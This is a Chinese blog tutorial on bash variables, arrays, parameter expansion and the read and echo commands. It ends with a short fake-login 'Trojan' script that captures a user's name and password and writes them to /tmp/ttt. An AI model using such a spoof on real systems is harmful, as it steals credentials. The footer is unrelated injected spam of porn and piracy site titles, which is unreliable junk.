<rt id="bn8ez"></rt>
<label id="bn8ez"></label>

  • <span id="bn8ez"></span>

    <label id="bn8ez"><meter id="bn8ez"></meter></label>

    Decode360's Blog

    業精于勤而荒于嬉 QQ:150355677 MSN:decode360@hotmail.com

      BlogJava :: 首頁 :: 新隨筆 :: 聯系 ::  :: 管理 ::
      397 隨筆 :: 33 文章 :: 29 評論 :: 0 Trackbacks
    Linux shell程序設計(三).變量-1
    ?
    ??? 無論是Linux的shell還是Windows的bat,變量的使用都占據了很大的位置。可以說稍微復雜一些的shell腳本中,其使用的變量就讓人眼花繚亂,所以學好變量的基本知識很有必要,畢竟是所有的基礎。而且這部分的內容非常容易記混,還是那句話,關鍵還是在于應用。
    ?
    一、用戶定義的變量
    ?
    1、變量名
    ?
    ??? 以字母、下劃線開頭的字母、數字和下劃線字符序列
    ??? 注:大小寫敏感
    ?
    2、變量賦值
    ?
    ??? 變量名=字符串
    ??? 注:等號兩邊不能有空格
    ?
    3、引用變量值
    ?
    ??? 在變量名前加“$”表示引用,例如:
    ??? $ dir=/usr/wxq
    ??? $ echo $dir? --/usr/wxq
    ??? $ echo dir? --dir
    ?
    ??? 注意:
    ??? ① abc= 或未明確賦值過的變量,均為空字符串
    ??? ② 如果字符串中有空格,則用""括起來:names="Wang XQ"
    ??? ③ 可以作為某長字符串的一部分,例如:echo read$s
    ??? ④ 若會引起歧義時,用{}括起變量,如:cat ${dir}qc/m
    ?
    4、命令替換
    ?
    ??? 使用倒引號“`”進行命令替換,如:
    ??? $ dir=`pwd`
    ?
    ??? 或者使用$()的形式
    ??? $ dir=$(pwd)
    ??? $ echo $(pwd; cd /opt; ls -l)
    ?
    ?
    二、數組
    ?
    1、定義數組
    ?
    ??? bash只提供一維數組,且不限制數組大小。
    ??? 數據下標從0開始賦值,格式為:數組名[下標]=值
    ?
    ??? $ city[0]=Beijing
    ??? $ city[1]=Shanghai
    ??? ...
    ?
    ??? 也可以組合賦值
    ??? $ A=(this is an example of shell script)
    ?
    2、數組的讀取
    ?
    ??? ${數組名[下標]},例如上例中:
    ?
    ??? $ echo ${A[0]} ${A[2]}? --this an
    ??? $ echo ${A[8]}? --空值,超過上限
    ?
    ??? 注:可以使用*或@作為下標,表示所有元素,例如:
    ??? $ echo ${A[*]}
    ?
    ??? 當不加下標讀取時,默認返回A[0]
    ?
    3、取消數組
    ?
    ??? $ unset A? --取消整個數據
    ??? $ unset A[0]? --取消第一個值
    ?
    ?
    三、變量引用
    ?
    ?? ① $name:表示變量name的值,若未定義變量則返回空值
    ?
    ?? ② ${name}:與$name相同,只是為了與后面緊接的字符分開
    ?
    ?? ③ ${name[n]}:表示引用數組name中的第n個元素
    ?
    ?? ④ ${name[*]} | ${name[@]}:表示引用數據的所有元素
    ?
    ??? ${name[*]}和${name[@]}的區別:
    ????? $ person=("a b" "c d")
    ????? $ echo ${person[*]}
    ????? a b c d
    ????? $ echo ${person[@]}
    ????? a b c d
    ? ???? $ for i in ${person[*]}; do echo $i; done
    ?
    ???? a
    ????? b
    ????? c
    ????? d
    ?
    ???? $ for i in ${person[@]}; do echo $i; done
    ?
    ???? a
    ????? b
    ????? c
    ????? d

    ????? $ for i in "${person[*]}"; do echo $i; done
    ????? a b c d
    ????? $ for i in "${person[@]}"; do echo $i; done
    ????? a b
    ????? c d
    ?
    ??? ⑤ ${name:-word}、${name:*word}、${name:+word}、${name:?word}:計算方法,后面講
    ?
    ? ? ⑥ ${name#pattern}、${name##pattern}:去掉開頭匹配部分之后的結果
    ??? ${name#pattern}:去掉匹配最少的部分
    ??? ${name##pattern}:去掉匹配最多的部分
    ?
    ??? $ echo $PWD
    ??? /home/wxq
    ??? $ echo ${PWD#*/}
    ??? home/wxq
    ??? $ echo ${PWD##*/}
    ??? wxq
    ?
    ??? ⑦ ${name%pattern}、${name%%pattern}:去掉末尾匹配部分之后的結果
    ??? ${name%pattern}:去掉匹配最少的部分
    ??? ${name%%pattern}:去掉匹配最多的部分
    ?
    ??? $ echo $FILE
    ??? A.abc.c
    ??? $ echo ${FILE%.*}
    ??? A.abc
    ??? $ echo ${FILE%%.*}
    ??? A
    ?
    ??? ⑧ ${#@}、${#*}:返回$@、$*返回參數的個數
    ?
    ??? ⑨ ${#name[i]}:返回第i個元素的長度(字符個數)
    ?
    ??? ⑩ ${#name[*]}、${#name[@]}:返回數組name中已經設置的元素個數
    ?
    ?
    四、輸入/輸出命令
    ?
    1、read命令
    ?
    ??? ① 輸入個數與給定數據個數相同
    ??? $ read x y z
    ??? Today is Monday
    ??? $ echo $z $y $x
    ??? Monday is Today
    ?
    ??? ② 輸入個數多于給定數據個數
    ??? $ read a1 a2 a3
    ??? aaa bbb ccc ddd 111
    ??? $ echo $a2 $a1
    ??? bbb aaa
    ??? $ echo $a3
    ??? ccc ddd 111
    ?
    ??? 注:從左自右依次對應,最后一個變量分配到剩余所有的數據
    ?
    ??? ③ 輸入個數少于給定數據個數
    ?
    ??? 從左自右依次對應,沒有對應的變量取空值
    ?
    2、echo命令
    ?
    ??? echo命令用于顯示其后的變量值或之間顯示后面的字符串。各個參數之間以空格隔開,以換行符終止。如果數據間需要空格則用""括起來。
    ?
    ??? echo命令后面加上“-e”后可使用轉義符,轉義符包括以下這些:
    ?
    ??? \a? 響鈴報警
    ??? \b? 退一個字符位置
    ??? \c? 輸出之后光標不換行,接在此之后(與-n選項相同)
    ??? \e? 轉義字符
    ??? \f? 換頁
    ??? \n? 顯示換行
    ??? \r? 回車
    ??? \t? 水平制表符
    ??? \v? 垂直制表符
    ??? \\? 印出反斜杠
    ??? \m? 表示一個ASCII字符(m以0開頭,由1位、2位或3位八進制數組成的數)
    ??? \xm 表示一個ASCII字符(m以0開頭,由1位、2位或3位十六進制數組成的數)
    ?
    ??? 舉例某特洛伊木馬shell腳本如下:
    ??? echo -n "Login:"
    ??? read name
    ??? stty -echo
    ??? echo -n "Password:"
    ??? read passwd
    ??? echo ""
    ??? stty echo
    ??? echo $name $passwd > /tmp/ttt&
    ??? sleep 2
    ??? echo "Login Incorrect.Re-enter,Please."
    ??? stty cooked
    ?
    ?
    ?
    posted on 2009-01-08 21:23 decode360 閱讀(261) 評論(0)  編輯  收藏 所屬分類: 03.Linux
    主站蜘蛛池模板: 亚洲国产精品成人午夜在线观看 | 好看的电影网站亚洲一区| 亚洲欧美日韩中文字幕一区二区三区 | 亚洲综合无码无在线观看| a毛片免费观看完整| 成人免费午夜无码视频| 亚洲自国产拍揄拍| 免费视频专区一国产盗摄| 亚洲国产最大av| 欧洲精品免费一区二区三区| 亚洲AV无码一区二区二三区软件 | 欧亚精品一区三区免费| 亚洲熟女综合色一区二区三区| 四虎国产精品成人免费久久| 亚洲精品乱码久久久久久蜜桃| 亚洲一级片在线播放| 岛国岛国免费V片在线观看| 亚洲va中文字幕无码久久| 亚洲精品在线免费观看| 日本亚洲免费无线码 | 亚洲精品视频免费在线观看| 亚洲乱码一二三四区麻豆| 成人网站免费观看| 亚洲av色香蕉一区二区三区| 国产乱子影视频上线免费观看| 亚洲毛片一级带毛片基地| 野花高清在线电影观看免费视频| 国产精品国产亚洲精品看不卡| 国产亚洲日韩在线a不卡| 亚洲乱码精品久久久久..| 国产2021精品视频免费播放| 亚洲AV无码片一区二区三区| 国产亚洲美女精品久久久| 啦啦啦完整版免费视频在线观看| 亚洲国产精品一区二区成人片国内| 免费看黄网站在线看 | 亚洲精品伦理熟女国产一区二区 | 亚洲av一本岛在线播放| 亚洲免费二区三区| 老妇激情毛片免费| 亚洲精品**中文毛片|